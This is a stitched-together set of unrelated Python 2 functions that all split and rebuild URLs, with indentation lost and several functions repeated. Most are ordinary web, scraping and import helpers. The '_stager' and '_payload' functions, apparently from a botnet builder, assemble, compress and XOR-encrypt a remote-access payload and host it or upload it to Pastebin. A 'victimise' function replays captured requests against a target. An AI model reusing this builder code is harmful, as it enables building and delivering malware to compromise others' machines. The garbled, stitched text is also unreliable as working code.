def fetch(request):
target = request.GET.get('url', None)
if not target:
response = HttpResponseBadRequest()
return response
to = request.GET.get('to', 'en')
print('Translate %s to %s' % (target, to))
page = ''
if not target.startswith('http'):
target = 'http://' + target
try:
page = _fetch_link(target)
except Exception:
return HttpResponseServerError('Fetch %s failed' % target)
parts = list(urlparse.urlsplit(target))
# clean path fragement and params
parts[2] = '/'
parts[3] = ''
parts[4] = ''
base = urlparse.urlunsplit(parts)
try:
translated = _translate(page, to, 'zh-CHS', base)
except Exception as e:
return HttpResponseServerError('Translate failed: %s' % e)
return HttpResponse(translated)
def __call__(self, path=None):
"""Return a url by urlunsplitting self.tokens.
:returns: endpoint url
"""
return urlparse.urlunsplit(self.tokens)
def submit(self, opener, res):
"""submit WAYF form with IDP
:param opener: the urllib2 opener
:param data: the form data as a dictionary
:param res: the response object
"""
log.info("Submitting form to wayf")
# Set IDP to correct IDP
wayf_data = {}
idp = self.idp
data = self.data
idps = {}
for d in data["user_idp"]:
if isinstance(data["user_idp"][d], dict):
idps.update(data["user_idp"][d])
if not idp.get_idp() in idps:
raise WAYFException("Can't find IdP '%s' in WAYF's IdP list" % idp)
wayf_data["user_idp"] = idps[idp.get_idp()]
wayf_data["Select"] = "Select"
if data["form"]["action"].startswith("?"):
urlsp = urlparse.urlsplit(res.url)
urlsp = urlparse.urlunsplit((urlsp[0], urlsp[1], urlsp[2], "", ""))
url = res.url + data["form"]["action"]
else:
url = urlparse.urljoin(res.url, data["form"]["action"])
data = urllib.urlencode(wayf_data)
request = Request(url, data)
log.debug("POST: %s" % request.get_full_url())
response = opener.open(request)
return request, response
def victimise(victim, uri):
raw_url = victim + uri
scheme, netloc, path, raw_query, fragment = urlparse.urlsplit(raw_url)
query = urlparse.parse_qs(raw_query)
url = urlparse.urlunsplit((scheme, netloc, path, urlencode(query, True), fragment))
print url
http_client.fetch(url, fetch, use_gzip=False)
def pastebin(self, source, api_key=None):
"""
Dump file/data to Pastebin
`Required`
:param str source: data or filename
`Optional`
:param str api_key: Pastebin api_dev_key
Returns URL of pastebin document as a string
"""
try:
if api_key:
info = {
'api_option': 'paste',
'api_paste_code': normalize(source),
'api_dev_key': api_key
}
paste = globals()['post'](
'https://pastebin.com/api/api_post.php', data=info)
parts = urlparse.urlsplit(paste)
return urlparse.urlunsplit(
(parts.scheme, parts.netloc, '/raw' + parts.path,
parts.query,
parts.fragment)) if paste.startswith('http') else paste
else:
return "{} error: no pastebin API key".format(
self.pastebin.func_name)
except Exception as e:
return '{} error: {}'.format(self.pastebin.func_name, str(e))
def set_language_ex(request):
next = request.POST.get('next', request.GET.get('next'))
if not is_safe_url(url=next, host=request.get_host()):
next = request.META.get('HTTP_REFERER')
if not is_safe_url(url=next, host=request.get_host()):
next = '/'
# remove lang from query
scheme, netloc, path, query, fragment = urlparse.urlsplit(next)
parsed_query = urlparse.parse_qsl(query)
altered = False
for k, v in parsed_query[:]:
if LANG_GET_KEY == k:
parsed_query.remove((k, v))
altered = True
if altered:
query = urllib.urlencode(parsed_query)
next = urlparse.urlunsplit((scheme, netloc, path, query, fragment))
response = http.HttpResponseRedirect(next)
if request.method == 'POST':
lang_code = request.POST.get('language', None)
if lang_code and check_for_language(lang_code):
if hasattr(request, 'session'):
request.session[LANGUAGE_SESSION_KEY] = lang_code
else:
response.set_cookie(settings.LANGUAGE_COOKIE_NAME, lang_code,
max_age=settings.LANGUAGE_COOKIE_AGE,
path=settings.LANGUAGE_COOKIE_PATH,
domain=settings.LANGUAGE_COOKIE_DOMAIN)
return response
def make_requests_from_url(self, url):
kw = self.macro.query(url)
us = urlparse.urlsplit(url)
qstr = dict(urlparse.parse_qsl(us.query))
base = urlparse.urlunsplit(us._replace(query=''))
meta = {'keyword':kw}
return FormRequest(base, formdata=qstr, method=self.start_method, headers=self.headers, cookies=self.cookies, dont_filter=True, meta=meta)
def generate_urls(obj, macro):
try:
if type(obj)==list:
for url in obj:
yield macro.expand(url)
elif type(obj)==dict:
base = macro.expand(obj['base'].encode('utf-8'))
us = urlparse.urlsplit(base)
qstr = dict(urlparse.parse_qsl(us.query))
qstr.update(obj.get('qstr', {}))
base = urlparse.urlunsplit(us._replace(query=''))
for k,v in qstr.iteritems():
if type(v)==dict and type(v['val'])==unicode:
v = v['val'].encode(v.get('enc', 'utf-8'), errors='ignore')
qstr[k] = macro.expand(v)
if 'keywords' in obj:
kw_obj = obj['keywords']
sub = kw_obj.get('sub')
if sub:
frm = sub.get('from')
to = sub.get('to')
sub = functools.partial(re.sub, frm, to)
else:
sub = lambda x:x
for kw in load_keywords(kw_obj):
if kw==MAGIC:
yield 'http://0.0.0.0'
continue
key = kw_obj['name'].encode('utf-8')
val = kw
col = kw_obj.get('col', 0)
sep = kw_obj.get('sep')
if col>0:
val = val.split(sep)[col-1]
val = sub(val)
if kw_obj.get('query', True):
qstr.update({key:val})
url = base+'?'+urlencode(qstr)
else:
val = val.encode(kw_obj.get('enc', 'utf-8'), errors='ignore') if type(val)==unicode else str(val)
url = base.replace(key, val)+'?'+urlencode(qstr)
macro.update({'sep':sep})
macro.bind(url, kw)
yield url
else:
url = base+'?'+urlencode(qstr)
yield url
except Exception as ex:
log.msg(u'cannot generate urls: {}'.format(ex), level=log.ERROR)
raise CloseSpider()
def _stager(options, **kwargs):
util.display("\n[>]", color='green', style='bright', end=' ')
util.display("Stager", color='reset', style='bright')
assert 'url' in kwargs, "missing keyword argument 'url'"
assert 'key' in kwargs, "missing keyword argument 'key'"
assert 'var' in kwargs, "missing keyword argument 'var'"
if options.encrypt:
stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url'], key=kwargs['key'])
else:
stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url'])
if not os.path.isdir('modules/stagers'):
try:
os.mkdir('modules/stagers')
except OSError:
util.log("Permission denied: unable to make directory './modules/stagers/'")
if options.compress:
util.display("\tCompressing stager... ", color='reset', style='normal', end=' ')
__load__ = threading.Event()
__spin__ = _spinner(__load__)
output = generators.compress(stager)
__load__.set()
_update(stager, output, task='Compression')
stager = output
util.display("\tUploading stager... ", color='reset', style='normal', end=' ')
__load__ = threading.Event()
__spin__ = _spinner(__load__)
if options.pastebin:
assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'"
url = util.pastebin(stager, options.pastebin)
else:
dirs = ['modules/stagers','byob/modules/stagers','byob/byob/modules/stagers']
dirname = '.'
for d in dirs:
if os.path.isdir(d):
dirname = d
path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py' )
with open(path, 'w') as fp:
fp.write(stager)
s = 'http://{}:{}/{}'.format(options.host, int(options.port) + 1, pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), '')))
s = urlparse.urlsplit(s)
url = urlparse.urlunsplit((s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\','/')
__load__.set()
util.display("(hosting stager at: {})".format(url), color='reset', style='dim')
return url
def asciify_url(url, force_quote=False):
r"""Attempts to make a unicode url usuable with ``urllib/urllib2``.
More specifically, it attempts to convert the unicode object ``url``,
which is meant to represent a IRI, to an unicode object that,
containing only ASCII characters, is a valid URI. This involves:
* IDNA/Puny-encoding the domain name.
* UTF8-quoting the path and querystring parts.
See also RFC 3987.
"""
assert type(url) == unicode
parts = urlparse.urlsplit(url)
if not parts.scheme or not parts.netloc:
# apparently not an url
return url
# idna-encode domain
hostname = parts.hostname.encode('idna')
# UTF8-quote the other parts. We check each part individually if
# if needs to be quoted - that should catch some additional user
# errors, say for example an umlaut in the username even though
# the path *is* already quoted.
def quote(s, safe):
s = s or ''
# Triggers on non-ascii characters - another option would be:
# urllib.quote(s.replace('%', '')) != s.replace('%', '')
# which would trigger on all %-characters, e.g. "&".
if s.encode('ascii', 'replace') != s or force_quote:
return urllib.quote(s.encode('utf8'), safe=safe)
return s
username = quote(parts.username, '')
password = quote(parts.password, safe='')
path = quote(parts.path, safe='/')
query = quote(parts.query, safe='&=')
# put everything back together
netloc = hostname
if username or password:
netloc = '@' + netloc
if password:
netloc = ':' + password + netloc
netloc = username + netloc
if parts.port:
netloc += ':' + str(parts.port)
return urlparse.urlunsplit(
[parts.scheme, netloc, path, query, parts.fragment])
def asciify_url(url, force_quote=False):
r"""Attempts to make a unicode url usuable with ``urllib/urllib2``.
More specifically, it attempts to convert the unicode object ``url``,
which is meant to represent a IRI, to an unicode object that,
containing only ASCII characters, is a valid URI. This involves:
* IDNA/Puny-encoding the domain name.
* UTF8-quoting the path and querystring parts.
See also RFC 3987.
"""
assert type(url) == unicode
parts = urlparse.urlsplit(url)
if not parts.scheme or not parts.netloc:
# apparently not an url
return url
# idna-encode domain
hostname = parts.hostname.encode('idna')
# UTF8-quote the other parts. We check each part individually if
# if needs to be quoted - that should catch some additional user
# errors, say for example an umlaut in the username even though
# the path *is* already quoted.
def quote(s, safe):
s = s or ''
# Triggers on non-ascii characters - another option would be:
# urllib.quote(s.replace('%', '')) != s.replace('%', '')
# which would trigger on all %-characters, e.g. "&".
if s.encode('ascii', 'replace') != s or force_quote:
return urllib.quote(s.encode('utf8'), safe=safe)
return s
username = quote(parts.username, '')
password = quote(parts.password, safe='')
path = quote(parts.path, safe='/')
query = quote(parts.query, safe='&=')
# put everything back together
netloc = hostname
if username or password:
netloc = '@' + netloc
if password:
netloc = ':' + password + netloc
netloc = username + netloc
if parts.port:
netloc += ':' + str(parts.port)
return urlparse.urlunsplit([
parts.scheme, netloc, path, query, parts.fragment])
def victimise(victim, request):
try:
lines = request.split('\n')
uri = lines[0].split(' ')[1]
body = lines[-1]
raw_url = victim + uri
scheme, netloc, path, raw_query, fragment = urlparse.urlsplit(raw_url)
query = urlparse.parse_qs(raw_query)
url = urlparse.urlunsplit((scheme, netloc, path, urlencode(query, True), fragment))
if body:
http_client.fetch(url, fetch, method="POST", body=body, use_gzip=False)
except:
pass
def generate_urls(obj, macro):
try:
if type(obj) == list:
for url in obj:
yield macro.expand(url)
elif type(obj) == dict:
base = macro.expand(obj['base'].encode('utf-8'))
us = urlparse.urlsplit(base)
qstr = dict(urlparse.parse_qsl(us.query))
qstr.update(obj.get('qstr', {}))
base = urlparse.urlunsplit(us._replace(query=''))
for k, v in qstr.iteritems():
if type(v) == dict and type(v['val']) == unicode:
v = v['val'].encode(v.get('enc', 'utf-8'), errors='ignore')
qstr[k] = macro.expand(v)
if 'keywords' in obj:
kw_obj = obj['keywords']
for kw in load_keywords(kw_obj):
key = kw_obj['name'].encode('utf-8')
val = kw.encode(
kw_obj.get('enc', 'utf-8'),
errors='ignore') if type(kw) == unicode else str(kw)
if kw_obj.get('query', True):
qstr.update({key: val})
url = base + '?' + urlencode(qstr)
else:
url = base.replace(key, val) + '?' + urlencode(qstr)
yield url
else:
url = base + '?' + urlencode(qstr)
yield url
except Exception as ex:
log.msg(u'cannot generate urls: {}'.format(ex), level=log.ERROR)
raise CloseSpider()
def pastebin(self, source, api_key=None):
"""
Dump file/data to Pastebin
`Required`
:param str source: data or filename
`Optional`
:param str api_key: Pastebin api_dev_key
Returns URL of pastebin document as a string
"""
try:
if api_key:
info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key}
paste = globals()['post']('https://pastebin.com/api/api_post.php',data=info)
parts = urlparse.urlsplit(paste)
return urlparse.urlunsplit((parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste
else:
return "{} error: no pastebin API key".format(self.pastebin.__name__)
except Exception as e:
return '{} error: {}'.format(self.pastebin.__name__, str(e))
def generate_urls(obj, macro):
try:
if type(obj)==list:
for url in obj:
yield macro.expand(url)
elif type(obj)==dict:
base = macro.expand(obj['base'].encode('utf-8'))
us = urlparse.urlsplit(base)
qstr = dict(urlparse.parse_qsl(us.query))
qstr.update(obj.get('qstr', {}))
base = urlparse.urlunsplit(us._replace(query=''))
for k,v in qstr.iteritems():
if type(v)==dict and type(v['val'])==unicode:
v = v['val'].encode(v.get('enc', 'utf-8'), errors='ignore')
qstr[k] = macro.expand(v)
if 'keywords' in obj:
kw_obj = obj['keywords']
for kw in load_keywords(kw_obj):
key = kw_obj['name'].encode('utf-8')
val = kw.encode(kw_obj.get('enc', 'utf-8'), errors='ignore') if type(kw)==unicode else str(kw)
if kw_obj.get('query', True):
qstr.update({key:val})
url = base+'?'+urlencode(qstr)
else:
url = base.replace(key, val)+'?'+urlencode(qstr)
yield url
else:
url = base+'?'+urlencode(qstr)
yield url
except Exception as ex:
log.msg(u'cannot generate urls: {}'.format(ex), level=log.ERROR)
raise CloseSpider()
def import_parties(filepath,
hashtag,
location=u'austin',
venue_city='Austin',
venue_state='TX',
venue_zip=u'',
event_source='sxsw-party',
geoloc="30.27,-97.74",
**kwargs):
from artist.models import ArtistProfile
from event.models import Event, Venue
from lastfm import get_artist
from lastfm.fetch_events import get_raw_image
parent, filename = os.path.split(_DEFAULT_IMAGE)
party_images = {
'#SXSWi #Party'.lower(): os.path.join(parent, "sxswi_party.jpg"),
'#SXSWm #Party'.lower(): os.path.join(parent, "sxswm_party.jpg"),
}
_ARTIST = ArtistProfile.objects.get(url='riotvine-member')
_DATE_FORMAT = "%m/%d/%Y" # format: 03/17/2010
f = open(filepath, 'r')
f.readline(
) # skip first line -- Date|Actual Date|Event|Venue|Band|Free|Free Drinks|Map|Details|Link|
lines = f.readlines()
max = len(lines)
rnum = 0
img = party_images.get(hashtag.lower(), None)
has_image = True
if not img:
has_image = False
img = _DEFAULT_IMAGE
f = open(img, "rb")
raw_image_contents = f.read()
f.close()
while True:
if rnum >= max:
break
r = lines[rnum].strip().split('|')
print rnum, r
venue = r[3].strip().decode("utf-8").strip()
venue_address = u''
querystring = urlencode({
'q':
u'"%s" %s, %s %s' %
(venue[:25], venue_address, venue_city, venue_state)
})
map_url = u'http://maps.google.com/?%s' % querystring
vn, created = Venue.objects.get_or_create(
name=venue[:255],
geo_loc=geoloc,
defaults=dict(
source='user-entered',
address=venue_address[:255],
city=venue_city[:255],
state=venue_state,
zip_code=venue_zip[:12],
venue_url=u'',
map_url=map_url,
))
event_name = r[2]
event_date = r[1] # MM/DD/YYYY
if 'err' in event_date.lower():
rnum += 1
continue
dt = strptime(event_date, _DATE_FORMAT)
event_date = date(*dt[:3])
event_time = None
headliner = u''
is_free = r[5] and "y" in r[5].lower()
free_drinks = r[6] and "y" in r[6].lower()
band = r[4]
description = u""
if band and 'tba' not in band.lower():
description = u'<p class="band party party-band">%s</p>' % band.decode(
"utf-8")
if free_drinks:
description = description + u"\n<p><strong>Free Drinks!</strong></p>\n"
external_url = r[9].strip()
if 'no hyperlink' in external_url.lower():
external_url = u''
event_id = u''
else:
x = urlparse.urlsplit(external_url)
qx = x.query
qx_dict = parse_qs(qx)
qx_dict.pop("appSession",
None) # remove session id from URL to make it work
event_id = qx_dict.get("RecordID")[0]
new_dict = {}
for k, v in qx_dict.iteritems():
new_dict[k] = v[0]
qx = urlencode(new_dict)
external_url = urlparse.urlunsplit(
(x.scheme, x.netloc, x.path, qx, x.fragment))
description = description + u'\n<p><a href="%s">More details »</a></p>\n' % external_url
title = u"%s at %s %s" % (event_name.decode('utf-8'),
vn.name.decode('utf-8'), hashtag)
Event.objects.filter(ext_event_id=event_id,
ext_event_source=event_source).delete()
ex = Event(
ext_event_id=event_id,
ext_event_source=event_source,
artist=_ARTIST,
creator=_ARTIST.user_profile,
description=description,
is_submitted=True,
is_approved=True,
is_free=is_free,
title=title[:120],
url=(u"%s-%s" % (slugify(title)[:30], uuid4().hex[::4]))[:35],
venue=vn,
event_date=event_date,
event_start_time=event_time,
event_timezone=u'',
hashtag=u'',
location=location,
headliner=u'',
artists=u'',
has_image=has_image,
)
image_content = ContentFile(raw_image_contents)
fname, ext = os.path.splitext("default.jpg")
fname = u'%s%s' % (uuid4().hex[::2], ext)
ex.image.save(fname, image_content, save=False)
ex._create_resized_images(raw_field=None, save=False)
ex.save()
print ex, ex.ext_event_id
rnum += 1
def _payload(options, **kwargs):
util.display("\n[>]", color='green', style='bright', end=' ')
util.display("Payload", color='reset', style='bright')
assert 'var' in kwargs, "missing keyword argument 'var'"
assert 'modules' in kwargs, "missing keyword argument 'modules'"
assert 'imports' in kwargs, "missing keyword argument 'imports'"
# loader = '\n'.join((open('core/loader.py','r').read(), generators.loader(host=options.host, port=int(options.port)+2, packages=list(kwargs['hidden']))))
loader = open('core/loader.py', 'r').read()
test_imports = '\n'.join([
'import ' + i for i in list(kwargs['hidden'])
if i not in ['StringIO', '_winreg']
])
modules = '\n'.join(([
open(module, 'r').read().partition('# main')[2]
for module in kwargs['modules']
] + [
generators.main(
'Payload', **{
"host": options.host,
"port": options.port,
"pastebin": options.pastebin if options.pastebin else str()
}) + '_payload.run()'
]))
payload = '\n'.join((loader, test_imports, modules))
if not os.path.isdir('modules/payloads'):
try:
os.mkdir('modules/payloads')
except OSError:
util.log(
"Permission denied: unabled to make directory './modules/payloads/'"
)
if options.compress:
util.display("\tCompressing payload... ",
color='reset',
style='normal',
end=' ')
__load__ = threading.Event()
__spin__ = _spinner(__load__)
output = generators.compress(payload)
__load__.set()
_update(payload, output, task='Compression')
payload = output
if options.encrypt:
assert 'key' in kwargs, "missing keyword argument 'key' required for option 'encrypt'"
util.display("\tEncrypting payload... ".format(kwargs['key']),
color='reset',
style='normal',
end=' ')
__load__ = threading.Event()
__spin__ = _spinner(__load__)
output = security.encrypt_xor(payload, base64.b64decode(kwargs['key']))
__load__.set()
_update(payload, output, task='Encryption')
payload = output
util.display("\tUploading payload... ",
color='reset',
style='normal',
end=' ')
__load__ = threading.Event()
__spin__ = _spinner(__load__)
if options.pastebin:
assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'"
url = util.pastebin(payload, options.pastebin)
else:
dirs = [
'modules/payloads', 'byob/modules/payloads',
'byob/byob/modules/payloads'
]
dirname = '.'
for d in dirs:
if os.path.isdir(d):
dirname = d
path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py')
with open(path, 'w') as fp:
fp.write(payload)
s = 'http://{}:{}/{}'.format(
options.host,
int(options.port) + 1,
pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'),
'')))
s = urlparse.urlsplit(s)
url = urlparse.urlunsplit(
(s.scheme, s.netloc, os.path.normpath(s.path), s.query,
s.fragment)).replace('\\', '/')
__load__.set()
util.display("(hosting payload at: {})".format(url),
color='reset',
style='dim')
return url
def import_parties(filepath, hashtag, location=u'austin', venue_city='Austin', venue_state='TX', venue_zip=u'', event_source='sxsw-party', geoloc="30.27,-97.74", **kwargs):
from artist.models import ArtistProfile
from event.models import Event, Venue
from lastfm import get_artist
from lastfm.fetch_events import get_raw_image
parent, filename = os.path.split(_DEFAULT_IMAGE)
party_images = {
'#SXSWi #Party'.lower():os.path.join(parent, "sxswi_party.jpg"),
'#SXSWm #Party'.lower():os.path.join(parent, "sxswm_party.jpg"),
}
_ARTIST = ArtistProfile.objects.get(url='riotvine-member')
_DATE_FORMAT = "%m/%d/%Y" # format: 03/17/2010
f = open(filepath, 'r')
f.readline() # skip first line -- Date|Actual Date|Event|Venue|Band|Free|Free Drinks|Map|Details|Link|
lines = f.readlines()
max = len(lines)
rnum = 0
img = party_images.get(hashtag.lower(), None)
has_image = True
if not img:
has_image = False
img = _DEFAULT_IMAGE
f = open(img, "rb")
raw_image_contents = f.read()
f.close()
while True:
if rnum >= max:
break
r = lines[rnum].strip().split('|')
print rnum, r
venue = r[3].strip().decode("utf-8").strip()
venue_address = u''
querystring = urlencode({'q':u'"%s" %s, %s %s' % (venue[:25], venue_address, venue_city, venue_state)})
map_url = u'http://maps.google.com/?%s' % querystring
vn, created = Venue.objects.get_or_create(
name=venue[:255],
geo_loc=geoloc,
defaults=dict(
source='user-entered',
address=venue_address[:255],
city=venue_city[:255],
state=venue_state,
zip_code=venue_zip[:12],
venue_url=u'',
map_url=map_url,
)
)
event_name = r[2]
event_date = r[1] # MM/DD/YYYY
if 'err' in event_date.lower():
rnum += 1
continue
dt = strptime(event_date, _DATE_FORMAT)
event_date = date(*dt[:3])
event_time = None
headliner = u''
is_free = r[5] and "y" in r[5].lower()
free_drinks = r[6] and "y" in r[6].lower()
band = r[4]
description = u""
if band and 'tba' not in band.lower():
description = u'<p class="band party party-band">%s</p>' % band.decode("utf-8")
if free_drinks:
description = description + u"\n<p><strong>Free Drinks!</strong></p>\n"
external_url = r[9].strip()
if 'no hyperlink' in external_url.lower():
external_url = u''
event_id = u''
else:
x = urlparse.urlsplit(external_url)
qx = x.query
qx_dict = parse_qs(qx)
qx_dict.pop("appSession", None) # remove session id from URL to make it work
event_id = qx_dict.get("RecordID")[0]
new_dict = {}
for k, v in qx_dict.iteritems():
new_dict[k]=v[0]
qx = urlencode(new_dict)
external_url = urlparse.urlunsplit((x.scheme, x.netloc, x.path, qx, x.fragment))
description = description + u'\n<p><a href="%s">More details »</a></p>\n' % external_url
title = u"%s at %s %s" % (event_name.decode('utf-8'), vn.name.decode('utf-8'), hashtag)
Event.objects.filter(ext_event_id=event_id, ext_event_source=event_source).delete()
ex = Event(
ext_event_id=event_id,
ext_event_source=event_source,
artist=_ARTIST,
creator=_ARTIST.user_profile,
description=description,
is_submitted=True,
is_approved=True,
is_free=is_free,
title=title[:120],
url=(u"%s-%s" % (slugify(title)[:30], uuid4().hex[::4]))[:35],
venue=vn,
event_date=event_date,
event_start_time=event_time,
event_timezone=u'',
hashtag=u'',
location=location,
headliner=u'',
artists=u'',
has_image=has_image,
)
image_content = ContentFile(raw_image_contents)
fname, ext = os.path.splitext("default.jpg")
fname = u'%s%s' % (uuid4().hex[::2], ext)
ex.image.save(fname, image_content, save=False)
ex._create_resized_images(raw_field=None, save=False)
ex.save()
print ex, ex.ext_event_id
rnum += 1
def _get_url_root(self, url):
scheme, netloc, url, query, fragment = urlparse.urlsplit(self.url)
return urlparse.urlunsplit((scheme, netloc, '', '', ''))
def import_quills(self, blogurl, username, password):
"""Import from Quills using Zope's XML-RPC interface."""
yield _(u'<p>Beginning Quills import. Attempting to get data...</p>')
urlparts = urlparse.urlsplit(blogurl)
urlnetloc = urlparts.netloc
urlpath = urlparts.path
if not urlpath.endswith('/'):
urlpath += '/' # Trailing slash required for XML-RPC
if username:
#: We're using simple HTTP auth, which isn't the smartest thing to
#: do, but Plone's default cookie-auth system is just a base64
#: encoding of username:password, which isn't any better. Quills
#: runs on Plone 2.1 and 2.5, neither of which shipped with a more
#: secure auth mechanism, so we'll just go with what works. HTTP
#: auth fallback has been supported by every Zope 2.x release.
urlnetloc = '%s:%s@%s' % (username, password, urlnetloc)
useblogurl = urlparse.urlunsplit((urlparts.scheme, urlnetloc, urlpath,
'', ''))
conn = xmlrpclib.ServerProxy(useblogurl)
title = conn.Title()
data = conn.zine_export()
yield _(u'<p>Got data. Parsing for weblog entries and replies.</p>')
tags = {}
posts = {}
authors = {}
yield _(u'<ol>')
for entry in data:
itemtags = []
for tag in entry['tags']:
if tag in tags:
itemtags.append(tags[tag])
else:
newtag = Tag(gen_slug(tag), tag)
tags[tag] = newtag
itemtags.append(newtag)
if entry['author'] in authors:
author = authors[entry['author']]
else:
author = Author(entry['author'], '', '')
authors[entry['author']] = author
status = PLONE_STATUS.get(entry['status'], STATUS_PUBLISHED)
body = reunicode(entry['body'])
description = reunicode(entry['description'])
subject = reunicode(entry['title'])
parser = PLONE_PARSERS.get(entry['format'], 'zeml')
pub_date = parse_plone_date(entry['date'])
if description:
#: Assume description is text/plain. Anything else is unlikely
if parser in ['zeml', 'html']:
body = u'<intro><p>%s</p></intro>%s' % (description, body)
else:
# We don't know how this parser works, so just insert
# description before body, with a blank line in between
body = u'%s\n\n%s' % (description, body)
comments = {}
for comment in entry['replies']:
c_body = reunicode(comment['body'])
c_author = comment['author']
if c_author in authors:
c_author = authors[c_author]
#: Fix for Jace's anon comments hack
elif c_author.startswith('!'):
c_author = c_author[1:]
c_body = reunicode(comment['body'])
c_subject = reunicode(comment['title'])
if c_subject:
c_body = '%s\n\n%s' % (c_subject, c_body)
comments[comment['id']] = Comment(
author = c_author,
body = c_body,
pub_date = parse_plone_date(
comment['date']).astimezone(UTC),
author_email = None,
author_url = None,
remote_addr = None,
parent = comment['parent'],
parser = 'text',
status = COMMENT_MODERATED
)
# Re-thread comments
for comment in comments.values():
comment.parent = comments.get(comment.parent, None)
posts[entry['id']] = Post(
slug=gen_timestamped_slug(entry['id'],
'entry', pub_date),
title=subject,
link=entry['url'],
pub_date=pub_date.astimezone(UTC),
author=authors[entry['author']],
intro=u'',
body=body,
tags=itemtags,
categories=[],
comments=comments.values(),
comments_enabled=entry['allow_comments'],
pings_enabled=True,
uid=entry['id'],
parser=parser,
content_type='entry',
status=status
)
yield _(u'<li><strong>%s</strong> (by %s; %d comments)</li>') % (
subject, author.username, len(comments))
yield _(u'</ol>')
self.enqueue_dump(Blog(
title,
blogurl,
'',
'en',
tags.values(),
[],
posts.values(),
authors.values()))
flash(_(u'Added imported items to queue.'))
yield _(u'<p><strong>All done.</strong></p>')
def request(method, url, content_type, data=None, params=None, headers=None, cookies=None,
auth=None, redirection=True, timeout=60):
"""Creates a new HTTP request and processes it.
:param method: the type of request to be created (``GET`` or ``POST``)
:type method: ``str``.
:param url: the url of the request.
:type url: ``str``.
:param content_type: the content type to be returned (``raw`` or ``json``)
:type content_type: ``str``.
:param data: the data to be posted.
:type data: ``any``.
:param params: mapping of url parameters.
:type params: :class:`dict`.
:param headers: the headers of the request.
:type headers: :class:`dict`.
:param cookies: the cookies of the request.
:type cookies: :class:`dict`.
:param auth: the authentication information to be used.
:type auth: :class:`dict`.
:param redirection: a flag indicating whether redirection is allowed or not.
:type redirection: ``boolean``.
:param timeout: a timeout for the request.
:type timeout: ``int``.
:return: the content obtained from executing the request.
:rtype: ``str`` or ``json``.
"""
openers = []
if not redirection:
openers.append(NoRedirectHttpHandler())
if auth:
manager = HTTPPasswordMgrWithDefaultRealm()
manager.add_password(None, url, auth['username'], auth['password'])
openers.append(HTTPBasicAuthHandler(manager))
opener = build_opener(*openers)
install_opener(opener)
headers = headers or {}
if cookies:
for cookie in cookies.keys():
headers['Cookie'] = "{0}={1}".format(cookie, cookies[cookie])
if 'user-agent' not in headers:
headers['user-agent'] = 'Alfred-Workflow/1.17'
encodings = [s.strip() for s in headers.get('accept-encoding', '').split(',')]
if 'gzip' not in encodings:
encodings.append('gzip')
headers['accept-encoding'] = ', '.join(encodings)
if method == 'POST' and not data:
data = ''
if data and isinstance(data, dict):
data = urlencode(format_headers(data))
headers = format_headers(headers)
if isinstance(url, unicode):
url = url.encode('utf-8')
if params:
scheme, netloc, path, query, fragment = urlparse.urlsplit(url)
if query:
url_params = urlparse.parse_qs(query)
url_params.update(params)
params = url_params
query = urlencode(format_headers(params), doseq=True)
url = urlparse.urlunsplit((scheme, netloc, path, query, fragment))
try:
response = urlopen(Request(url, data, headers), timeout=timeout)
response_headers = response.info()
content = response.read()
if 'gzip' in response_headers.get('content-encoding', '') \
or 'gzip' in response_headers.get('transfer-encoding', ''):
content = unzip(content)
if content_type.lower() == 'json':
return json.loads(content, 'utf-8')
return content
except (HTTPError, URLError):
send_notification('Workflow', 'Error while calling {0}'.format(url))
if content_type.lower() == 'json':
return {}
return ''
